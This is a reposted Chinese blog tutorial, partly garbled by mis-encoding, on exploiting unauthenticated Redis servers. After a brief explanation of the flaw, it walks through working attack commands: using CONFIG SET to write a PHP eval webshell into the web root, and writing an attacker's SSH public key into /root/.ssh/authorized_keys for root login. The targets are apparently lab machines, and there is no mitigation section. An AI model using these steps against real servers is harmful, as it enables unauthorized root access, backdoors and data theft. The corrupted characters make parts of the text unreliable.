Redis未授权访问写Webshell和公私钥认证获取root权限
0x01?什么是Redis未授權(quán)訪問漏洞
Redis?默認(rèn)情況下,會綁定在?0.0.0.0:6379,如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源?ip?訪問等,這樣將會將?Redis?服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問?Redis?以及讀取?Redis?的數(shù)據(jù)。攻擊者在未授權(quán)訪問?Redis?的情況下,利用?Redis?自身的提供的config?命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的?/root/.ssh?文件夾的authotrized_keys?文件中,進(jìn)而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。
簡單說,漏洞的產(chǎn)生條件有以下兩點(diǎn):
(1)Redis綁定在?0.0.0.0:6379,且沒有進(jìn)行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略,直接暴露在公網(wǎng);
(2)沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。
??漏洞的危害
(1)攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù);
(2)攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件;
(3)最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器
?
0x02?利用Redis寫Webshell
-
利用前提:
1.通過phpinfo頁面或者其他方法獲取Redis服務(wù)器網(wǎng)站的根目錄
?
得到服務(wù)器網(wǎng)站的根目錄是:/var/www/html
2.?通過redis-cli與Redis服務(wù)端進(jìn)行連接,通過Redis未授權(quán)直接連接Redis服務(wù)端
root@ubuntu:~# redis-cli -h 192.168.5.57
?
?利用前面我們已經(jīng)得知的網(wǎng)站根目錄開始利用Redis寫Webshell(一句話木馬)
config set dir /var/www/htmlconfig set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save
連接shell
?
?0x02?利用"公私鑰"認(rèn)證獲取root權(quán)限,ssh免密登陸目標(biāo)服務(wù)器
1、?在攻擊機(jī)(redis客戶端)中生成ssh公鑰和私鑰,密碼設(shè)置為空
root@ubuntu:~# ssh-keygen -t rsa2、?進(jìn)入/root/.ssh目錄:??cd /root/.ssh?,?講生成的公鑰保存到1.txt(名字隨意)
root@ubuntu:~# cd /root/.ssh/ root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt root@ubuntu:~/.ssh# ls -a . .. 1.txt id_rsa id_rsa.pub known_hosts3、?鏈接目標(biāo)服務(wù)器上的Redis服務(wù),將保存的公鑰1.txt寫入Redis(使用redis-cli -h ip命令連接靶機(jī),將文件寫入)
cat 1.txt | redis-cli -h 10.10.10.135 -x set crack4、?通過客戶端遠(yuǎn)程登陸目標(biāo)靶機(jī)的Redis服務(wù),并使用?CONFIG GET dir?命令得到Redis備份的路徑
redis-cli -h 10.10.10.135CONFIG GET dir5、?更改Redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh)
config set dir /root/.ssh6、?設(shè)置上傳公鑰的備份文件名字為authorized_keys
CONFIG SET dbfilename authorized_keys7、?檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出
CONFIG GET dbfilenamesaveexit8、?在攻擊機(jī)上使用SSH免密登錄靶機(jī)
ssh -i id_rsa root@x.x.xx?
?
最后成功root權(quán)限登陸目標(biāo)系統(tǒng)
?
?
?
?
?
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/-qing-/p/10978912.html
總結(jié)
以上是生活随笔為你收集整理的Redis未授权访问写Webshell和公私钥认证获取root权限的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: jQuery 插件 jSlider 图片
- 下一篇: C# ThreadPool类(线程池)